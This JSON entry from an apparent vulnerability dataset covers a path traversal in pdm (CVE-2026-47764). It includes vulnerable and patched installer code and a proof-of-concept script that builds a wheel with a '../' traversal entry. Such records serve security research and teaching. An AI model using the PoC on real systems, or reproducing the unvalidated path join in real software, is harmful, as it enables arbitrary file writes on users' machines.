{"id":2208,"cve":"CVE-2026-47764","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-47764\/","cwe":"CWE-22","cwe_number":22,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/22","cvss_score":8.4,"published":"2026-08-04","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Path Traversal","scope":"Local","impact":"Arbitrary Code Execution","summary":"Path traversal in pdm allows a malicious wheel to write arbitrary files.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-47764\/","description":"pdm is a Python package and dependency manager supporting the latest PEP standards. Versions prior to 2.27.0 are vulnerable to path traversal through write_to_fs. InstallDestination.write_to_fs() in src\/pdm\/installers\/installers.py overrides the base class to add symlink\/hardlink support but replaces the safe _path_with_destdir() (which validates via Path.resolve() + is_relative_to()) with a bare os.path.join() that performs no path validation. A malicious wheel with traversal entries can write arbitrary files. This issue has been fixed in version 2.27.0.","solution":"Upgrade pdm to version 2.27.0 or later.","affected_component":"pdm","fixed_by_upgrading":true,"vulnerable_code":"import os\nfrom typing import IO\n\n# Faked upstream dependencies for a minimal example\nclass Scheme: pass\nclass BaseInstallDestination:\n    def __init__(self, base: str, **kwargs): self.base = base\n    def _path_with_destdir(self, scheme: Scheme, path: str) -> str: pass\n    def write_to_fs(self, scheme: Scheme, path: str, stream: IO[bytes], is_executable: bool) -> str: pass\n\nIS_WINDOWS = os.name == \"nt\"\n\nclass InstallDestination(BaseInstallDestination):\n    def __init__(self, *args, **kwargs) -> None:\n        super().__init__(*args, **kwargs)\n        self.use_link = False\n\n    def write_to_fs(\n        self,\n        scheme: Scheme,\n        path: str,\n        stream: IO[bytes],\n        is_executable: bool,\n    ) -> str:\n        if self.use_link:\n            source_path: str = getattr(stream, \"name\")\n            # VULNERABLE: path from wheel file is not validated before being joined to a base path\n            target_path = os.path.join(self.base, path)\n\n            dirname = os.path.dirname(target_path)\n            os.makedirs(dirname, exist_ok=True)\n\n            if os.path.lexists(target_path):\n                os.remove(target_path)\n            \n            if IS_WINDOWS:\n                os.link(source_path, target_path)\n            else:\n                os.symlink(source_path, target_path)\n            return target_path\n        return super().write_to_fs(scheme, path, stream, is_executable)\n","patched_code":"import os\nfrom typing import IO\n\n# Faked upstream dependencies for a minimal example\nclass Scheme: pass\nclass BaseInstallDestination:\n    def __init__(self, base: str, **kwargs): self.base = base\n    def _path_with_destdir(self, scheme: Scheme, path: str) -> str: pass\n    def write_to_fs(self, scheme: Scheme, path: str, stream: IO[bytes], is_executable: bool) -> str: pass\n\nIS_WINDOWS = os.name == \"nt\"\n\nclass InstallDestination(BaseInstallDestination):\n    def __init__(self, *args, **kwargs) -> None:\n        super().__init__(*args, **kwargs)\n        self.use_link = False\n\n    def write_to_fs(\n        self,\n        scheme: Scheme,\n        path: str,\n        stream: IO[bytes],\n        is_executable: bool,\n    ) -> str:\n        if self.use_link:\n            source_path: str = getattr(stream, \"name\")\n            # FIX: Use the base class's safe method which validates the path is within the destination\n            target_path = self._path_with_destdir(scheme, path)\n\n            dirname = os.path.dirname(target_path)\n            os.makedirs(dirname, exist_ok=True)\n\n            if os.path.lexists(target_path):\n                os.remove(target_path)\n            \n            if IS_WINDOWS:\n                os.link(source_path, target_path)\n            else:\n                os.symlink(source_path, target_path)\n            return target_path\n        return super().write_to_fs(scheme, path, stream, is_executable)\n","payload_needed":true,"payload":"```python\nimport zipfile\nimport os\n\n# --- Payload Configuration ---\n# The name of the malicious wheel file to create.\nwheel_filename = \"malicious_pdm_poc-1.0-py3-none-any.whl\"\n# The path to traverse to and the file to write.\n# This example writes to \/tmp\/pwned on a Unix-like system.\n# The number of \"..\/\" may need adjustment depending on the installation depth.\nmalicious_filepath = \"..\/..\/..\/..\/..\/..\/tmp\/pwned\"\n# The content to write into the target file.\nfile_content = b\"This file was written by exploiting CVE-2026-47764 in pdm.\\n\"\n# --- Wheel Metadata (required for a valid wheel) ---\ndist_info_dir = \"malicious_pdm_poc-1.0.dist-info\/\"\nmetadata_content = \"\"\"\nMetadata-Version: 2.1\nName: malicious-pdm-poc\nVersion: 1.0\nSummary: A proof-of-concept exploit for CVE-2026-47764.\n\"\"\"\nwheel_metadata_content = \"\"\"\nWheel-Version: 1.0\nGenerator: bdist_wheel (0.37.0)\nRoot-Is-Purelib: true\nTag: py3-none-any\n\"\"\"\n\n# --- Payload Generation ---\nif os.path.exists(wheel_filename):\n    os.remove(wheel_filename)\n\nwith zipfile.ZipFile(wheel_filename, \"w\", zipfile.ZIP_DEFLATED) as zf:\n    # 1. Add the required wheel metadata files.\n    zf.writestr(dist_info_dir + \"METADATA\", metadata_content)\n    zf.writestr(dist_info_dir + \"WHEEL\", wheel_metadata_content)\n\n    # 2. Add the malicious file with the traversal path.\n    # This is the core of the exploit.\n    zf.writestr(malicious_filepath, file_content)\n\nprint(f\"Malicious wheel '{wheel_filename}' created successfully.\")\nprint(f\"To test, run 'pdm add .\/{wheel_filename}' in a test project using a vulnerable pdm version.\")\nprint(f\"Then check for the existence and content of '\/tmp\/pwned'.\")\n```","payload_status":"available","published_fix":[{"repository":"pdm-project\/pdm","commit_url":"https:\/\/github.com\/pdm-project\/pdm\/pull\/3787","commit_subject":"feat: update the minimum python version to 3.10","units":[{"file":"src\/pdm\/installers\/installers.py","function":null},{"file":"src\/pdm\/installers\/installers.py","function":"install"},{"file":"src\/pdm\/installers\/installers.py","function":"InstallDestination.finalize_installation"},{"file":"src\/pdm\/installers\/installers.py","function":"InstallDestination.write_to_fs"},{"file":"src\/pdm\/installers\/installers.py","function":"PackageWheelSource.dist_info_dir"}]}],"references":null}